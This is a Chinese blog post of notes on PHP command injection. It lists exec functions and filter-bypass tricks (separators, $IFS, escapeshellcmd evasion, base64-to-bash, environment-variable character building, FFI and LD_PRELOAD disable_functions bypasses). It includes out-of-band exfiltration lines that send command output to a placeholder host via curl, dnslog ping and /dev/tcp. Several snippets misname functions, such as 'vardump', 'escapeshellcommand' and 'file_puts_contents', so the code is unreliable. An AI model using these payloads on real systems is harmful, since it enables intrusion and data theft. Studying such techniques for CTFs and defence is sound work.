命令执行点滴

命令执行

常见函数

  1. system():执行命令并输出

  2. exec() :执行命令但不输出

    <?php
    	exec('pwd', $b);
    	vardump($b); // 返回结果到变量$b,vardump输出结果
    ?>
    
  3. passthru():执行命令并输出

  4. shell_exec():执行命令但不输出,无回显

    <?php
    	vardump(shell_exec('ls'));
    ?>
    
  5. 反引号``:

    执行shell 命令,并返回结果字符串

    <?php
    	$a = 'ls';
    	echo `$a`;
    ?>
    
  6. ob_start():打开输出缓冲控制

    <?php
    	highlight_file(__FILE__);
    	ob_start("system");
    	echo "ls";
    	ob_end_flush();
    ?>
    

绕过一些限制

  • 常见分隔符:
    %0a 换行符
    %0d 回车符
    ; 	连续指令
    &	后台进程
    |	管道符
    || && 逻辑符
  • 绕过空格
    $IFS
    ${IFS}
    $IFS$9
    <>
  • 绕过 escapeshellcmd()
  1. 情景一:win下执行bat文件

    <?php
    	$command = 'dir'.$_POST['dir'];
    	$escaped_command = escapeshellcommand($command);
    	file_puts_contents('out.bat', $escaped_command);
    	system('out.bat');
    ?>
    

    如果是执行.bat文件的话,那么我们可以用%1a绕过过滤执行命令(%5c%1a?

  2. 宽字节注入(php5.2.5之前)
    这个原理与宽字节注入原理应该很相似。主要是使用宽字节在解析时让我们输入的符号逃逸出来。escapeshellcmd()会过滤的字符如下:
    在这里插入图片描述

  • 黑名单过滤
  1. 拼凑

    例如:

    a=l;b=s;$a$b   // 变量拼接
    ca\t fl\ag;		// 反斜线连接
    ca""t fl""ag 	// 双引号连接
    
  2. base64编码

    `echo "bHM="|base64 -d`
    echo "bHM="|base64 -d|bash
    
  3. 利用已有资源

    这里已有资源是指站点文件和环境变量,比如一个文件test.php

    <?php
    	phpinfo();
    ?>
    

    利用expr命令和awk文本解析命令,截取文件中字符:

    expr substr $(awk NR==1 test.php) 1 1	// <
    expr substr $(awk NR==1 test.php) 2 1	// ?
    expr substr $(awk NR==3 test.php) 1 1 	// ?
    expr substr $(awk NR==3 test.php) 2 1	// >
    

    利用环境变量:

    echo ${PATH:0:1}	// /
    expr substr $(pwd) 1 1	// /
    expr substr $PWD 1 1 	// /
    expr substr $PATH 1 1 	// /
    expr substr $SESSION_MANAGER 1 1	// /
    
  • 无回显

    sql注入、xss等无回显情况类似,命令执行也可以用dnslog或者自己的vps来解决

    如:

    curl ip:port/`shell`
    ping -c 1 `whoami`."xxxxx.dnslog.cn"
    bash -c "ls > /dev/tcp/ip/port"
    
  • 长度限制

    主要利用的是重定向创建命令、lsls -t\连接shell命令的特点,利用这些特点,我们再通过自己的思考来构造命令。

    构造命令的时候要注意lsls -t的排序特点:

  1. ls的排序特点是空格 -> 符号 -> 数字 -> 字符
  2. ls -t的排序特点是最近创建的文件最前

根据以上两个排序特点就可以发挥自己的聪明才智去构造命令了。。

  • 一些其他方法
    利用 FFI 调用 C 库中的函数
    FFI:cdef(int system(const cahr* command);)->system("whoami");
    
    这个可以用来绕过 disabled_functions,但是要注意只能在php预加载文件中使用
    另外还有LD_PRELOAD + putenv组和也常常被用于绕过disabled_functions

(如有侵权,联系删除)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值